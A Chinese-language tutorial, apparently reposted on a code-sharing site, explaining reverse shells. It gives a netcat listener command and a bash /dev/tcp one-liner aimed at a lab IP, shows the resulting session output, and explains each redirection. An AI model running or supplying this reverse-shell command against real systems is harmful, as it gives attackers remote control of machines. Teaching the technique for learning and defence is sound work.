反彈SHELL介紹及原理


如果我們需要到服務器上執行 Shell 命令,但是因為防火牆等原因,無法由客戶端主動發起連接的情況,就可以使用反彈 Shell 來滿足登陸和操作的需求。

什么是反彈Shell

正常情況下,我們登陸服務器獲取 Shell 會話是下面的步驟,用戶在終端軟件(Terminal)中輸入 ssh root@ip 登陸目標機器,登陸成功后即可以開始Shell操作。

反彈Shell(Reverse Shell),顧名思義是指與正常的 sshd 服務相反,由控制端監聽,被控制端發起請求到監聽端口,並將其命令行的輸入輸出轉到控制端。

實戰介紹

准備兩台網絡連通的服務器:

  • 控制端:172.16.51.130
  • 被控端:172.16.51.128

控制端監聽一個端口

$ nc -lvp 8888
listening on [any] 8888 ...

被控端生成一個反彈 Shell

$ bash -i >& /dev/tcp/172.16.51.130/8888 0>&1 2>&1

這時注意觀察控制端,會出現被控端的 shell 提示符

172.16.51.128: inverse host lookup failed: Host name lookup failure
connect to [172.16.51.130] from (UNKNOWN) [172.16.51.128] 47584
tiago@lampiao:~$ whoami
whoami
tiago
tiago@lampiao:~$ hostname
hostname
lampiao
tiago@lampiao:~$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:cc:9b:c6 brd ff:ff:ff:ff:ff:ff
    inet 172.16.51.128/24 brd 172.16.51.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fecc:9bc6/64 scope link 
       valid_lft forever preferred_lft forever

在提示符下輸入命令,可以看到確實是在被管機上執行的命令及返回的結果,就像我們登陸到了被管機一樣。

具體解釋如下:

$ nc -lvp 8888

使用 nc 命令在控制端監聽端口,-l 表示監聽 -p 表示端口。

$ bash -i >& /dev/tcp/172.16.51.130/8888 0>&1 2>&1
# bash -i 表示進入一個交互式的Shell環境
# >& 表示將交互式Shell發送給后續的文件,並且將&聯合符號后面的內容也發送到重定向
# /dev/tcp/172.16.51.130/8888 實際是 `bash` 實現的用來實現網絡請求的一個接口。打開這個文件就相當於發出了一個socket調用並建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。
# 0>&1 表示將標准的輸入與標准輸出相結合,都發給重定向文件
# 2>&1 表示將標准輸出和標准錯誤輸出都發送到socket文件中,即我們能夠在控制端看到命令的返回,在被控端看不到相關信息。

上面的命令聯合起來意思就是,我們在被管機上產生了一個 bash 環境,將它發送給了遠程的控制主機,同時將被管機的標准輸入、標准輸出、標准錯誤輸出都發送給了控制主機,這樣實現了獲取被管主機 shell 執行環境的目的。

本文介紹的是最簡單的一種反彈shell實現方式,反彈shell還有很多種的實現方式,實現的思路應該都差不多,等稍后整理出來與大家分享。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM